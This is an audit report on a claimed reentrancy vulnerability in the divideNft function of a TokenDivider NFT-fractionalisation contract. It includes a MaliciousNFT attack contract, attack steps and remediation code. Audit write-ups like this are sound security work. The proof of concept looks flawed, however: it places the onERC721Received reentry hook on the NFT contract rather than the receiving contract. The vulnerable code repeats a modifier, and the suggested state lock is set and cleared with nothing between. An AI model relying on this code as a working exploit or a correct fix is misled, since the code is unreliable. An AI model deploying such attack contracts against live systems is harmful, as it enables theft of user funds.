Summary
The TokenDivider contract's divideNft function contains critical reentrancy vulnerabilities due to state updates occurring after external calls and lack of reentrancy protection. The function interacts with multiple external contracts (NFT and ERC20) without proper safeguards, allowing malicious contracts to reenter and manipulate the contract's state.
Impact
Severity: Critical
The vulnerabilities could lead to:
Double-minting of fractional tokens
Theft of locked NFTs
Manipulation of contract state
Draining of contract funds
Inconsistent state between NFT ownership and fractional tokens
A successful exploit could result in the complete compromise of the fractionalization system and significant financial losses for users.
Tools used
Foundry
Detailed Proof of Concept
Vulnerable Code
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
onlyNftOwner(nftAddress, tokenId)
onlyNftOwner(nftAddress ,tokenId) external {
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(
string(abi.encodePacked(ERC721(nftAddress).name(), "Fraccion")),
string(abi.encodePacked("F", ERC721(nftAddress).symbol())));
erc20Contract.mint(address(this), amount);
address erc20 = address(erc20Contract);
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({erc20Address: erc20, tokenId: tokenId});
erc20ToMintedAmount[erc20] = amount;
erc20ToNft[erc20] = nftAddress;
bool transferSuccess = IERC20(erc20).transfer(msg.sender, amount);
}
Attack Contract
contract MaliciousNFT is ERC721 {
TokenDivider target;
uint256 attackCount;
constructor(address _target) ERC721("Evil", "EVIL") {
target = TokenDivider(_target);
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external override returns (bytes4) {
if (attackCount < 2) {
attackCount++;
target.divideNft(address(this), tokenId, 1000);
}
return this.onERC721Received.selector;
}
}
Attack Simulation
Setup Phase:
TokenDivider divider = new TokenDivider();
MaliciousNFT nft = new MaliciousNFT(address(divider));
nft.mint(attacker, 1);
Attack Execution:
function executeAttack() external {
nft.approve(address(divider), 1);
divider.divideNft(address(nft), 1, 1000);
}
Attack Flow:
Attacker calls divideNft
New ERC20 token is created and minted
During safeTransferFrom, onERC721Received is called
onERC721Received reenters divideNft
State is not yet updated, allowing second execution
Multiple sets of ERC20 tokens are minted for the same NFT
Recommendations
Primary Solution
Implement OpenZeppelin's ReentrancyGuard:
contract TokenDivider is IERC721Receiver, Ownable, ReentrancyGuard {
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
external
nonReentrant
onlyNftOwner(nftAddress, tokenId)
{
}
}
Additional Protections
Follow Checks-Effects-Interactions Pattern:
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
external
nonReentrant
onlyNftOwner(nftAddress, tokenId)
{
if(nftAddress == address(0)) revert TokenDivider__NftAddressIsZero();
if(amount == 0) revert TokenDivider__AmountCantBeZero();
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(...);
address erc20 = address(erc20Contract);
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({
erc20Address: erc20,
tokenId: tokenId
});
erc20ToMintedAmount[erc20] = amount;
erc20ToNft[erc20] = nftAddress;
erc20Contract.mint(address(this), amount);
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
require(IERC20(erc20).transfer(msg.sender, amount), "Transfer failed");
emit NftDivided(nftAddress, amount, erc20);
}
Implement State Locks:
mapping(address => bool) private _nftLocked;
modifier notLocked(address nft) {
require(!_nftLocked[nft], "NFT is locked");
_;
}
function divideNft(...) nonReentrant notLocked(nftAddress) {
_nftLocked[nftAddress] = true;
_nftLocked[nftAddress] = false;
}
Add Additional Safety Checks:
require(
nftToErc20Info[nftAddress].erc20Address == address(0),
"NFT already fractionalized"
);
These solutions, when implemented together, provide multiple layers of protection against reentrancy attacks while maintaining the contract's functionality.
